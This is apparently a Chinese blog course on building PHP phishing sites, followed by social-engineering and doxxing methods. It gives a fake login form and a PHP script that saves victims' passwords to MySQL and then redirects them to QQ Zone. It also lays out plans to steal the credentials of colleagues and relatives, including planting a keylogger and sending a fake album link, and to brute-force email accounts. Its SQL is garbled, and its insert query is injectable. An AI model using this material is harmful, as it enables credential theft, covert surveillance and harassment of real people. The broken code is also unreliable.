当前位置: 首页 > news >正文

钓鱼网站开发原理(社会工程学)

钓鱼网站开发原理(社会工程学)

  • 一、课程简介
    • 1、课程大纲
    • 2、课程目标
    • 3、知识储备
  • 二、钓鱼网站简介
    • 1、什么是钓鱼网站
    • 2、开发&原理
  • 三、PHP环境搭建
    • 1、简介
    • 2、自动安装MySQL/apache/PHP
    • 3、安装navicat
  • 四、PDO表单入库案例
    • 1、语法
    • 2、显示登录表单
    • 3、入库(收集用户提交的数据)
  • 五、通过PHP开发钓鱼网站
  • 六、生活中隐形钓鱼网站(人肉搜索原理&提防)
    • 1、社会工程学简介(社工)
    • 2、社工实践
      • 1)需求:获取学生、公司同事、亲人等账号密码
      • 2)获取网络用户更多信息
    • 3、人肉搜索原理
    • 4、生活中隐形钓鱼网站
    • 5、提防

一、课程简介

1、课程大纲

钓鱼网站简介(是什么,怎么写的,原理)
PHP环境搭建(准备)
PDO表单入库(通过PHP收集用户数据)
通过PHP开发钓鱼网站
生活中隐形的钓鱼网站(人肉搜索原理&提防)

2、课程目标

通过本次公开课,大家可以

理解钓鱼网站概念&原理
掌握PHP环境搭建
掌握通过PHP的PDO扩展收集用户登录表单提交的数据
掌握钓鱼网站的开发
理解人肉搜索的原理&提防

3、知识储备

HTML基础
PHP基础
MySQL基础

二、钓鱼网站简介

1、什么是钓鱼网站

钓鱼网站:指伪装成银行/社交平台/购物平台,窃取用户提交的银行账号、密码等私密信息的网站。
简单概括:坏人制作了一个网站,通过各种手段将网址发给你,你没抗住诱惑输入了银行账号和密码。

2、开发&原理

步骤1:
通过各种渠道传递诱惑消息,诱导用户打开
利用传智PHP学科基础班DIV+CSS课程技术-》所开发的钓鱼网站

步骤2:
通过表单收集用户提交的账号&密码

三、PHP环境搭建

1、简介

工具:PHP study.exe(网址:http://phpstudy.php.cn/)
环境:
MySQL:存放数据
Apache:web服务器
PHP:将用户提交的账号密码保存到MySQL中

2、自动安装MySQL/apache/PHP

3、安装navicat

Navicat:数据库管理工具(MySQL),用于查看本地数据库中的表

#创建名为php的数据库
drop databse if exists php;
creat database php;
use php;
#创建表
drop table if exists users;
id int primary key auto_incream comment ‘编号’,
username varche(45) not null comment ‘账号’,
pwd varche(80) not null comment ‘密码’,
creat_at int not null default 0 comment ‘创建于’,
updated_at int not default 0 comment ‘更新于’
)charset=utf8;

四、PDO表单入库案例

1、语法

HTML知识点

表单:<form  action="./test.php" method="post"> </form>
账号:<input type="text" name="username" id="">
密码:<input type="password" name="pwd" id="">

PHP知识点

//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");

2、显示登录表单

步骤1:使用sublime创建test.html文件
步骤2:输入【!】按【tab】键
步骤3:输入【下述代码】即可

<form  action="./test.php" method="post"> <center>                       <p>账号:<input type="text" name="username" id=""></br></p><p>密码:<input type="password" name="pwd" id=""></br></p><input type="submit" value="登录"  style="width: 250px;height: 40px;background-color: blue; font-size:18px;color:white;"></center>
</form>

3、入库(收集用户提交的数据)

步骤1:创建test.php文件
步骤2:通过$_POST[‘NAME’] 接收数据
步骤3:通过PDO语法入库

<?php//服务器端脚本
//获取全部提交的数据  $_POST
//获取&_POST里面的指定数据 $_POST['表单的name属性值']
//打印数据           print_(待打印的数据)//print_r($POST)
$username = $_POST['username'];
$pwd = $_POST['pwd'];
$time = time();//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
$realUrl='https://qzone.qq.com/';
//判断跳转
if($rs){echo "<script>alert('success');location.href='$realUrl'</script>";
}else{echo "<script>alert('failure');location.href='$realUrl'</script>";}?>
//提交信息后输出警告框提示信息,并跳转到真实网址

五、通过PHP开发钓鱼网站

步骤1:将钓鱼网站文件放到站点目录中
步骤2:访问测试
步骤3:通过PHP创建收集用户数据

六、生活中隐形钓鱼网站(人肉搜索原理&提防)

1、社会工程学简介(社工)

简单理解:
利用“人性”的心理弱点、本能反应、好奇心、信任、贪婪等心理,进行欺骗、伤害等危害手段、最终取得自身利益的手法。
应用场景:短信诈骗,电话诈骗如以知名人士的名义去推销诈骗等

2、社工实践

1)需求:获取学生、公司同事、亲人等账号密码

学生:角色讲师/同学-》通过PHP开发个人博客–》查看精品文章必须注册
同事:人物性格、兴趣爱好分析-》通过PHP开发偶像博客/论坛-》注册上厕所/吃饭电脑安装键盘记录精灵
亲人:通过PHP仿QQ空间相册(封面女友照片)-》发送亲人点击提示输入账号密码-》入库

2)获取网络用户更多信息

场景1:普通用户A通过钓鱼网站导致密码被盗
场景2:网站被攻击管理员邮箱和账号被盗
明确:80%的人的银行卡、QQ、微信、身份证等密码都存在关联或者直接一样
手法:通过落网用户的已知账号和密码-》进一步采集昵称、163邮箱、qq邮箱、贴吧等进行分析-》人肉-》尝试暴力破解(注:通过落网账号密码分析后获得163邮箱账号,尝试暴力破解,成功进入后如果是一个站长势必会进一步获得购买服务器等相关信息)

3、人肉搜索原理

准备:确定人肉角色
手法:获取该角色常用昵称、手机号、qq号、邮箱、微博等信息-》谷歌/百度
结果:真实性格、兴趣爱好、经历、历史照片等

练习
通过留下的账号信息进一步分析
1,点击头像进入个人主页
2,通过关注的贴吧-》兴趣爱好
3,回复的内容 -》性格人品思想
照片

还能搜索此人以前注册的网站

4、生活中隐形钓鱼网站

1)百度地图记录你去过的地方
2)微博提供接口(所有用户发布的说说动态) --》便于商家提供用户体验
3)智能手机相册同步云–》可能存在人脸识别大数据分析、万一数据泄露
4)安卓手机应用商店APP小心下载(注:避免钓鱼网站)
5)社交软件附近人/摇一摇(注:慎用你以为是女的,指不定就是我)

5、提防

1)避免在网上留下痕迹,如QQ、手机号等(注:可通过上述方式检测删除)
2)搞编程势必需要登录一些网站看资料或视频 --》 切记用小号密码123456
自己注册个小号,密码随意

相关文章:

钓鱼网站开发原理(社会工程学)

钓鱼网站开发原理&#xff08;社会工程学&#xff09; 一、课程简介1、课程大纲2、课程目标3、知识储备 二、钓鱼网站简介1、什么是钓鱼网站2、开发&原理 三、PHP环境搭建1、简介2、自动安装MySQL/apache/PHP3、安装navicat 四、PDO表单入库案例1、语法2、显示登录表单3、入…...

如何优雅地使用 console.log 打印数组或对象

一、背景 使用 console.log 在控制台中打印数组或者对象时&#xff0c;很多时候它们的字段都是默认关闭的&#xff0c;需要手动一个个的点开&#xff0c;非常不直观且麻烦。 二、解决方案 使用 JSON.stringify() 的第三个参数 我们来看一下官方对于 JSON.stringify 的介绍 三、…...

模式分解的概念(下)-无损连接分解的与保持函数依赖分解的定义和判断、损失分解

一、无损连接分解 1、定义 2、检验一个分解是否是无损连接分解的算法 输入与输出 输入&#xff1a; 关系模式R&#xff08;U&#xff0c;F&#xff09;&#xff0c;F是最小函数依赖集 R上的一个分解 输出&#xff1a; 判断分解是否为无损连接分解 &#xff08;1&#x…...

vue3父组件获取子组件的实例对象

一&#xff0c;ref 在父组件的模板里&#xff0c;对子组件的标签定义ref属性&#xff0c;并且设置属性值&#xff0c;在方法里获取ref()获取实例对象。 父组件&#xff1a; <template><div ><div>我是父组件</div><<SonCom ref"sonComRe…...

主流框架选择:React、Angular、Vue的详细比较

目前前端小伙伴经常使用三种广泛使用的开发框架&#xff1a;React、Angular、Vue - 来设计网站 Reactjs&#xff1a;效率和多功能性而闻名 Angularjs&#xff1a;创建复杂的应用程序提供了完整的解决方案&#xff0c;紧凑且易于使用的框架 Vuejs&#xff1a;注重灵活性和可重用…...

交易者的意义是什么?

按照阿德勒的说法&#xff1a;人生的意义就是为社会创造价值&#xff0c;推动整个人类社会的发展进步。 我认同且秉持这种观点。 而在交易中&#xff0c;你是否直接或者间接为社会做贡献了呢&#xff1f;这个还真不好说。 但是做为职业交易者&#xff0c;你的存在价值&#…...

io_uring

转&#xff1a;[译] Linux 异步 I_O 框架 io_uring&#xff1a;基本原理、程序示例与性能压测&#xff08;2020&#xff09; 新一代异步IO框架 io_uring &#xff5c; 得物技术 干翻 nio &#xff0c;王炸 io_uring 来了 &#xff01;&#xff01;&#xff08;图解史上最全&a…...

构建高并发Web应用:基于Gunicorn、Flask和Docker的部署指南

目录 一 理解基础组件 什么是Flask? 什么是Gunicorn? 什么是Docker? 二 环境准备 三 构建Flask应用 创建项目结构 编写Flask应用 app/views.py 四 使用Gunicorn部署Flask应用 配置Gunicorn Gunicorn配置文件 五 使用Docker进行容器化部署 编写Dockerfile 构建…...

【Ruby简单脚本02】双色球系统

# frozen_string_literal: true require date # 生成中奖号码的工具 # 红球 1-32 篮球 1-15 def create_num nums [] 6.times do while true num rand(1..32) unless nums.include?(num) nums << num break end end end blue rand(1..15) nums…...

Netty ByteBuf 使用详解

文章目录 1.概述2. ByteBuf 分类3. 代码实例3.1 常用方法3.1.1 创建ByteBuf3.1.2 写入字节3.1.3 扩容3.1.2.1 扩容实例3.1.2.2 扩容计算新容量代码 3.1.4 读取字节3.1.5 标记回退3.1.6 slice3.1.7 duplicate3.1.8 CompositeByteBuf3.1.9 retain & release3.1.9.1 retain &a…...

怎样去掉卷子上的答案并打印

当面对试卷答案的问题时&#xff0c;一个高效而简单的方法是利用图片编辑软件中的“消除笔”功能。这种方法要求我们首先将试卷拍摄成照片&#xff0c;然后利用该功能轻松擦除答案。尽管这一方法可能需要些许时间和耐心&#xff0c;但它确实为我们提供了一个可行的解决途径。 然…...

海思SS928/SD3403开发笔记1——使用串口调试开发板

该板子使用串口可以调试&#xff0c;下面是win11 调试 该板子步骤 1、给板子接入鼠标、键盘、usb转串口 2、下载SecureCRT&#xff0c;并科学使用 下载地址&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/11dIkZVstvHQUhE8uS1YO0Q 提取码&#xff1a;vinv 3、安装c…...

JSON数据操作艺术

在现代Web开发和数据交换场景中&#xff0c;JSON&#xff08;JavaScript Object Notation&#xff09;作为一种轻量级的数据交换格式&#xff0c;扮演着至关重要的角色。它以易于阅读的文本形式存储和传输数据对象&#xff0c;而这些对象的核心便是由属性名&#xff08;键&…...

如何验证Rust中的字符串变量在超出作用域时自动释放内存?

讲动人的故事,写懂人的代码 在公司内部的Rust培训课上,讲师贾克强比较了 Rust、Java 和 C++ 三种编程语言在变量越过作用域时自动释放堆内存的不同特性。 Rust 通过所有权系统和借用检查,实现了内存安全和自动管理,从而避免了大部分内存泄漏。Rust 自动管理标准库中数据类…...

55.Python pip install 安装失败的一个情况Requirement already satisfied

1.问题 以前使用Pycharm 社区版开发的一个项目&#xff0c;今天使用PyCharm 专业版打开&#xff0c;原项目的虚拟环境从venv更换为.venv&#xff0c;然后重新安装插件。安装时&#xff0c;提示Requirement already satisfied: qt_material in c:\tools\python37\lib\site-packa…...

Axios进阶

目录 axios实例 axios请求配置 拦截器 请求拦截器 响应拦截器 取消请求 axios不仅仅是简单的用基础请求用法的形式向服务器请求数据&#xff0c;一旦请求的端口与次数变多之后&#xff0c;简单的请求用法会有些许麻烦。所以&#xff0c;axios允许我们进行创建axios实例、ax…...

C++ 丑数

描述 把只包含质因子2、3和5的数称作丑数&#xff08;Ugly Number&#xff09;。例如6、8都是丑数&#xff0c;但14不是&#xff0c;因为它包含质因子7。 习惯上我们把1当做是第一个丑数。求按从小到大的顺序的第 n个丑数。 数据范围&#xff1a;0≤&#x1d45b;≤20000≤n≤…...

小山菌_代码随想录算法训练营第三十天|122.买卖股票的最佳时机II、55. 跳跃游戏 、45.跳跃游戏II、1005.K次取反后最大化的数组和

122.买卖股票的最佳时机II 文档讲解&#xff1a;代码随想录.买卖股票的最佳时机II 视频讲解&#xff1a;贪心算法也能解决股票问题&#xff01;LeetCode&#xff1a;122.买卖股票最佳时机II 状态&#xff1a;已完成 代码实现 class Solution { public:int maxProfit(vector<…...

SpringMVC系列七: 手动实现SpringMVC底层机制-上

手动实现SpringMVC底层机制 博客的技术栈分析 &#x1f6e0;️具体实现细节总结 &#x1f41f;准备工作&#x1f34d;搭建SpringMVC底层机制开发环境 实现任务阶段一&#x1f34d;开发ZzwDispatcherServlet&#x1f966;说明: 编写ZzwDispatcherServlet充当原生的DispatcherSer…...

嵌入式web 服务器boa的编译和移植

编译环境&#xff1a;虚拟机 ubuntu 18.04 目标开发板&#xff1a;飞凌OKA40i-C开发板&#xff0c; Linux3.10 操作系统 开发板本身已经移植了boa服务器&#xff0c;但是在使用过程中发现POST方法传输大文件时对数据量有限制&#xff0c;超过1M字节就无法传输&#xff0c;这是…...

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

C++_核心编程_多态案例二-制作饮品

#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为&#xff1a;煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例&#xff0c;提供抽象制作饮品基类&#xff0c;提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...

Spring Boot 实现流式响应(兼容 2.7.x)

在实际开发中&#xff0c;我们可能会遇到一些流式数据处理的场景&#xff0c;比如接收来自上游接口的 Server-Sent Events&#xff08;SSE&#xff09; 或 流式 JSON 内容&#xff0c;并将其原样中转给前端页面或客户端。这种情况下&#xff0c;传统的 RestTemplate 缓存机制会…...

(二)TensorRT-LLM | 模型导出(v0.20.0rc3)

0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述&#xff0c;后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作&#xff0c;其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强&#xff0c;React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 &#xff08;1&#xff09;使用React Native…...

测试markdown--肇兴

day1&#xff1a; 1、去程&#xff1a;7:04 --11:32高铁 高铁右转上售票大厅2楼&#xff0c;穿过候车厅下一楼&#xff0c;上大巴车 &#xffe5;10/人 **2、到达&#xff1a;**12点多到达寨子&#xff0c;买门票&#xff0c;美团/抖音&#xff1a;&#xffe5;78人 3、中饭&a…...

基础测试工具使用经验

背景 vtune&#xff0c;perf, nsight system等基础测试工具&#xff0c;都是用过的&#xff0c;但是没有记录&#xff0c;都逐渐忘了。所以写这篇博客总结记录一下&#xff0c;只要以后发现新的用法&#xff0c;就记得来编辑补充一下 perf 比较基础的用法&#xff1a; 先改这…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

&#x1f50d; 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术&#xff0c;可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势&#xff0c;还能有效评价重大生态工程…...

高防服务器能够抵御哪些网络攻击呢?

高防服务器作为一种有着高度防御能力的服务器&#xff0c;可以帮助网站应对分布式拒绝服务攻击&#xff0c;有效识别和清理一些恶意的网络流量&#xff0c;为用户提供安全且稳定的网络环境&#xff0c;那么&#xff0c;高防服务器一般都可以抵御哪些网络攻击呢&#xff1f;下面…...

.Net Framework 4/C# 关键字(非常用,持续更新...)

一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...